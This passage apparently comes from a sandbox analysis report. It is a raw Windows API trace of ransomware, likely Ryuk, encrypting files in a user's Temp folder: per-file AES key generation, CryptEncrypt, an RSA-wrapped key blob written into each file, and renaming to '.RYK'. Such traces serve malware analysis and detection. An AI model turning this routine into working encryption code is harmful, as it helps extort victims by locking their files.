	[0254.235] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x7994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0254.235] ReadFile (in: hFile=0x684, lpBuffer=0x990f5f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x990f560, lpOverlapped=0x0 | out: lpBuffer=0x990f5f0*, lpNumberOfBytesRead=0x990f560*=0x19, lpOverlapped=0x0) returned 1
	[0254.237] SetFilePointer (in: hFile=0x684, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.237] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x990f578 | out: phKey=0x990f578*=0x3ae910) returned 1
	[0254.237] SetFilePointer (in: hFile=0x684, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.237] ReadFile (in: hFile=0x684, lpBuffer=0x3680000, nNumberOfBytesToRead=0x7ab6, lpNumberOfBytesRead=0x990f584, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesRead=0x990f584*=0x7ab6, lpOverlapped=0x0) returned 1
	[0254.238] CryptEncrypt (in: hKey=0x3ae910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x990f580*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x990f580*=0xf4250) returned 1
	[0254.238] CryptEncrypt (in: hKey=0x3ae910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3680000*, pdwDataLen=0x990f588*=0x7ab6, dwBufLen=0xf4250 | out: pbData=0x3680000*, pdwDataLen=0x990f588*=0x7ac0) returned 1
	[0254.239] SetFilePointer (in: hFile=0x684, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.239] WriteFile (in: hFile=0x684, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x7ac0, lpNumberOfBytesWritten=0x990f584, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x990f584*=0x7ac0, lpOverlapped=0x0) returned 1
	[0254.239] WriteFile (in: hFile=0x684, lpBuffer=0x990f5b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x990f590, lpOverlapped=0x0 | out: lpBuffer=0x990f5b0*, lpNumberOfBytesWritten=0x990f590*=0x6, lpOverlapped=0x0) returned 1
	[0254.239] CryptExportKey (in: hKey=0x3ae910, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x990f5a0 | out: pbData=0x0*, pdwDataLen=0x990f5a0*=0x10c) returned 1
	[0254.239] CryptExportKey (in: hKey=0x3ae910, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x990f610, pdwDataLen=0x990f5a0 | out: pbData=0x990f610*, pdwDataLen=0x990f5a0*=0x10c) returned 1
	[0254.239] WriteFile (in: hFile=0x684, lpBuffer=0x990f610*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x990f590, lpOverlapped=0x0 | out: lpBuffer=0x990f610*, lpNumberOfBytesWritten=0x990f590*=0x10c, lpOverlapped=0x0) returned 1
	[0254.239] CloseHandle (hObject=0x684) returned 1
	[0254.828] CryptDestroyKey (hKey=0x3ae910) returned 1
	[0254.828] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9iFq8y63.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9ifq8y63.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9iFq8y63.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9ifq8y63.mkv.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3269
	os_tid = 0x38d8

	[0253.278] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9u 2RHDpu7bjqdHbaNzn.m4a", dwFileAttributes=0x80) returned 0
	[0253.278] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9u 2RHDpu7bjqdHbaNzn.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9u 2rhdpu7bjqdhbanzn.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.278] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.279] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9u 2RHDpu7bjqdHbaNzn.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9u 2rhdpu7bjqdhbanzn.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9u 2RHDpu7bjqdHbaNzn.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9u 2rhdpu7bjqdhbanzn.m4a.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3270
	os_tid = 0x38dc

	[0253.280] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\A2rJ_R-Shn.pdf", dwFileAttributes=0x80) returned 1
	[0254.241] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\A2rJ_R-Shn.pdf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\a2rj_r-shn.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680
	[0254.241] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x9cef7d8 | out: lpFileSize=0x9cef7d8*=77119) returned 1
	[0254.241] GetFileSizeEx (in: hFile=0x680, lpFileSize=0x9cef7e8 | out: lpFileSize=0x9cef7e8*=77119) returned 1
	[0254.241] SetFilePointerEx (in: hFile=0x680, liDistanceToMove=0x12c1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0254.241] ReadFile (in: hFile=0x680, lpBuffer=0x9cef830, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9cef7a0, lpOverlapped=0x0 | out: lpBuffer=0x9cef830*, lpNumberOfBytesRead=0x9cef7a0*=0x19, lpOverlapped=0x0) returned 1
	[0254.243] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.243] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x9cef7b8 | out: phKey=0x9cef7b8*=0x3ae980) returned 1
	[0254.243] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.243] ReadFile (in: hFile=0x680, lpBuffer=0x3880000, nNumberOfBytesToRead=0x12d3f, lpNumberOfBytesRead=0x9cef7c4, lpOverlapped=0x0 | out: lpBuffer=0x3880000*, lpNumberOfBytesRead=0x9cef7c4*=0x12d3f, lpOverlapped=0x0) returned 1
	[0254.246] CryptEncrypt (in: hKey=0x3ae980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9cef7c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9cef7c0*=0xf4250) returned 1
	[0254.246] CryptEncrypt (in: hKey=0x3ae980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3880000*, pdwDataLen=0x9cef7c8*=0x12d3f, dwBufLen=0xf4250 | out: pbData=0x3880000*, pdwDataLen=0x9cef7c8*=0x12d40) returned 1
	[0254.246] SetFilePointer (in: hFile=0x680, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.247] WriteFile (in: hFile=0x680, lpBuffer=0x3880000*, nNumberOfBytesToWrite=0x12d40, lpNumberOfBytesWritten=0x9cef7c4, lpOverlapped=0x0 | out: lpBuffer=0x3880000*, lpNumberOfBytesWritten=0x9cef7c4*=0x12d40, lpOverlapped=0x0) returned 1
	[0254.247] WriteFile (in: hFile=0x680, lpBuffer=0x9cef7f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9cef7d0, lpOverlapped=0x0 | out: lpBuffer=0x9cef7f0*, lpNumberOfBytesWritten=0x9cef7d0*=0x6, lpOverlapped=0x0) returned 1
	[0254.247] CryptExportKey (in: hKey=0x3ae980, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9cef7e0 | out: pbData=0x0*, pdwDataLen=0x9cef7e0*=0x10c) returned 1
	[0254.247] CryptExportKey (in: hKey=0x3ae980, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x9cef850, pdwDataLen=0x9cef7e0 | out: pbData=0x9cef850*, pdwDataLen=0x9cef7e0*=0x10c) returned 1
	[0254.247] WriteFile (in: hFile=0x680, lpBuffer=0x9cef850*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9cef7d0, lpOverlapped=0x0 | out: lpBuffer=0x9cef850*, lpNumberOfBytesWritten=0x9cef7d0*=0x10c, lpOverlapped=0x0) returned 1
	[0254.247] CloseHandle (hObject=0x680) returned 1
	[0254.796] CryptDestroyKey (hKey=0x3ae980) returned 1
	[0254.796] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\A2rJ_R-Shn.pdf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\a2rj_r-shn.pdf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\A2rJ_R-Shn.pdf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\a2rj_r-shn.pdf.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3271
	os_tid = 0x38e0

	[0253.281] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log", dwFileAttributes=0x80) returned 1
	[0254.196] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x65c
	[0254.197] GetFileSizeEx (in: hFile=0x65c, lpFileSize=0x97cf5f8 | out: lpFileSize=0x97cf5f8*=764) returned 1
	[0254.197] GetFileSizeEx (in: hFile=0x65c, lpFileSize=0x97cf608 | out: lpFileSize=0x97cf608*=764) returned 1
	[0254.197] SetFilePointerEx (in: hFile=0x65c, liDistanceToMove=0x1da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0254.197] ReadFile (in: hFile=0x65c, lpBuffer=0x97cf650, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x97cf5c0, lpOverlapped=0x0 | out: lpBuffer=0x97cf650*, lpNumberOfBytesRead=0x97cf5c0*=0x19, lpOverlapped=0x0) returned 1
	[0254.199] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.199] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x97cf5d8 | out: phKey=0x97cf5d8*=0x3f7e00) returned 1
	[0254.199] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.199] ReadFile (in: hFile=0x65c, lpBuffer=0x3a80000, nNumberOfBytesToRead=0x2fc, lpNumberOfBytesRead=0x97cf5e4, lpOverlapped=0x0 | out: lpBuffer=0x3a80000*, lpNumberOfBytesRead=0x97cf5e4*=0x2fc, lpOverlapped=0x0) returned 1
	[0254.199] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x97cf5e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x97cf5e0*=0xf4250) returned 1
	[0254.199] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3a80000*, pdwDataLen=0x97cf5e8*=0x2fc, dwBufLen=0xf4250 | out: pbData=0x3a80000*, pdwDataLen=0x97cf5e8*=0x300) returned 1
	[0254.199] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.199] WriteFile (in: hFile=0x65c, lpBuffer=0x3a80000*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x97cf5e4, lpOverlapped=0x0 | out: lpBuffer=0x3a80000*, lpNumberOfBytesWritten=0x97cf5e4*=0x300, lpOverlapped=0x0) returned 1
	[0254.199] WriteFile (in: hFile=0x65c, lpBuffer=0x97cf610*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x97cf5f0, lpOverlapped=0x0 | out: lpBuffer=0x97cf610*, lpNumberOfBytesWritten=0x97cf5f0*=0x6, lpOverlapped=0x0) returned 1
	[0254.200] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x97cf600 | out: pbData=0x0*, pdwDataLen=0x97cf600*=0x10c) returned 1
	[0254.200] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x97cf670, pdwDataLen=0x97cf600 | out: pbData=0x97cf670*, pdwDataLen=0x97cf600*=0x10c) returned 1
	[0254.200] WriteFile (in: hFile=0x65c, lpBuffer=0x97cf670*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x97cf5f0, lpOverlapped=0x0 | out: lpBuffer=0x97cf670*, lpNumberOfBytesWritten=0x97cf5f0*=0x10c, lpOverlapped=0x0) returned 1
	[0254.200] CloseHandle (hObject=0x65c) returned 1
	[0254.871] CryptDestroyKey (hKey=0x3f7e00) returned 1
	[0254.871] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3272
	os_tid = 0x38e4

	[0253.489] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3", dwFileAttributes=0x80) returned 1
	[0254.249] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ax8mahttlrxpap-u.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x67c
	[0254.249] GetFileSizeEx (in: hFile=0x67c, lpFileSize=0x9e8fad8 | out: lpFileSize=0x9e8fad8*=80947) returned 1
	[0254.249] GetFileSizeEx (in: hFile=0x67c, lpFileSize=0x9e8fae8 | out: lpFileSize=0x9e8fae8*=80947) returned 1
	[0254.249] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x13b11, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0254.249] ReadFile (in: hFile=0x67c, lpBuffer=0x9e8fb30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9e8faa0, lpOverlapped=0x0 | out: lpBuffer=0x9e8fb30*, lpNumberOfBytesRead=0x9e8faa0*=0x19, lpOverlapped=0x0) returned 1
	[0254.251] SetFilePointer (in: hFile=0x67c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.251] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x9e8fab8 | out: phKey=0x9e8fab8*=0x3ae9f0) returned 1
	[0254.251] SetFilePointer (in: hFile=0x67c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.251] ReadFile (in: hFile=0x67c, lpBuffer=0x3b80000, nNumberOfBytesToRead=0x13c33, lpNumberOfBytesRead=0x9e8fac4, lpOverlapped=0x0 | out: lpBuffer=0x3b80000*, lpNumberOfBytesRead=0x9e8fac4*=0x13c33, lpOverlapped=0x0) returned 1
	[0254.254] CryptEncrypt (in: hKey=0x3ae9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9e8fac0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9e8fac0*=0xf4250) returned 1
	[0254.254] CryptEncrypt (in: hKey=0x3ae9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b80000*, pdwDataLen=0x9e8fac8*=0x13c33, dwBufLen=0xf4250 | out: pbData=0x3b80000*, pdwDataLen=0x9e8fac8*=0x13c40) returned 1
	[0254.254] SetFilePointer (in: hFile=0x67c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.254] WriteFile (in: hFile=0x67c, lpBuffer=0x3b80000*, nNumberOfBytesToWrite=0x13c40, lpNumberOfBytesWritten=0x9e8fac4, lpOverlapped=0x0 | out: lpBuffer=0x3b80000*, lpNumberOfBytesWritten=0x9e8fac4*=0x13c40, lpOverlapped=0x0) returned 1
	[0254.255] WriteFile (in: hFile=0x67c, lpBuffer=0x9e8faf0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9e8fad0, lpOverlapped=0x0 | out: lpBuffer=0x9e8faf0*, lpNumberOfBytesWritten=0x9e8fad0*=0x6, lpOverlapped=0x0) returned 1
	[0254.255] CryptExportKey (in: hKey=0x3ae9f0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9e8fae0 | out: pbData=0x0*, pdwDataLen=0x9e8fae0*=0x10c) returned 1
	[0254.255] CryptExportKey (in: hKey=0x3ae9f0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x9e8fb50, pdwDataLen=0x9e8fae0 | out: pbData=0x9e8fb50*, pdwDataLen=0x9e8fae0*=0x10c) returned 1
	[0254.255] WriteFile (in: hFile=0x67c, lpBuffer=0x9e8fb50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9e8fad0, lpOverlapped=0x0 | out: lpBuffer=0x9e8fb50*, lpNumberOfBytesWritten=0x9e8fad0*=0x10c, lpOverlapped=0x0) returned 1
	[0254.255] CloseHandle (hObject=0x67c) returned 1
	[0254.764] CryptDestroyKey (hKey=0x3ae9f0) returned 1
	[0254.764] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ax8mahttlrxpap-u.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\aX8mAHttLRxPap-u.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ax8mahttlrxpap-u.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3285
	os_tid = 0x3918

	[0253.490] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\b0qHL.odt", dwFileAttributes=0x80) returned 1
	[0254.257] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\b0qHL.odt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b0qhl.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x678
	[0254.257] GetFileSizeEx (in: hFile=0x678, lpFileSize=0x9b5fa98 | out: lpFileSize=0x9b5fa98*=99000) returned 1
	[0254.257] GetFileSizeEx (in: hFile=0x678, lpFileSize=0x9b5faa8 | out: lpFileSize=0x9b5faa8*=99000) returned 1
	[0254.257] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x18196, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0254.257] ReadFile (in: hFile=0x678, lpBuffer=0x9b5faf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9b5fa60, lpOverlapped=0x0 | out: lpBuffer=0x9b5faf0*, lpNumberOfBytesRead=0x9b5fa60*=0x19, lpOverlapped=0x0) returned 1
	[0254.259] SetFilePointer (in: hFile=0x678, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.259] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x9b5fa78 | out: phKey=0x9b5fa78*=0x3aea60) returned 1
	[0254.259] SetFilePointer (in: hFile=0x678, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.259] ReadFile (in: hFile=0x678, lpBuffer=0x3080000, nNumberOfBytesToRead=0x182b8, lpNumberOfBytesRead=0x9b5fa84, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesRead=0x9b5fa84*=0x182b8, lpOverlapped=0x0) returned 1
	[0254.261] CryptEncrypt (in: hKey=0x3aea60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9b5fa80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9b5fa80*=0xf4250) returned 1
	[0254.261] CryptEncrypt (in: hKey=0x3aea60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3080000*, pdwDataLen=0x9b5fa88*=0x182b8, dwBufLen=0xf4250 | out: pbData=0x3080000*, pdwDataLen=0x9b5fa88*=0x182c0) returned 1
	[0254.262] SetFilePointer (in: hFile=0x678, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.262] WriteFile (in: hFile=0x678, lpBuffer=0x3080000*, nNumberOfBytesToWrite=0x182c0, lpNumberOfBytesWritten=0x9b5fa84, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesWritten=0x9b5fa84*=0x182c0, lpOverlapped=0x0) returned 1
	[0254.262] WriteFile (in: hFile=0x678, lpBuffer=0x9b5fab0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9b5fa90, lpOverlapped=0x0 | out: lpBuffer=0x9b5fab0*, lpNumberOfBytesWritten=0x9b5fa90*=0x6, lpOverlapped=0x0) returned 1
	[0254.263] CryptExportKey (in: hKey=0x3aea60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9b5faa0 | out: pbData=0x0*, pdwDataLen=0x9b5faa0*=0x10c) returned 1
	[0254.263] CryptExportKey (in: hKey=0x3aea60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x9b5fb10, pdwDataLen=0x9b5faa0 | out: pbData=0x9b5fb10*, pdwDataLen=0x9b5faa0*=0x10c) returned 1
	[0254.263] WriteFile (in: hFile=0x678, lpBuffer=0x9b5fb10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9b5fa90, lpOverlapped=0x0 | out: lpBuffer=0x9b5fb10*, lpNumberOfBytesWritten=0x9b5fa90*=0x10c, lpOverlapped=0x0) returned 1
	[0254.263] CloseHandle (hObject=0x678) returned 1
	[0254.733] CryptDestroyKey (hKey=0x3aea60) returned 1
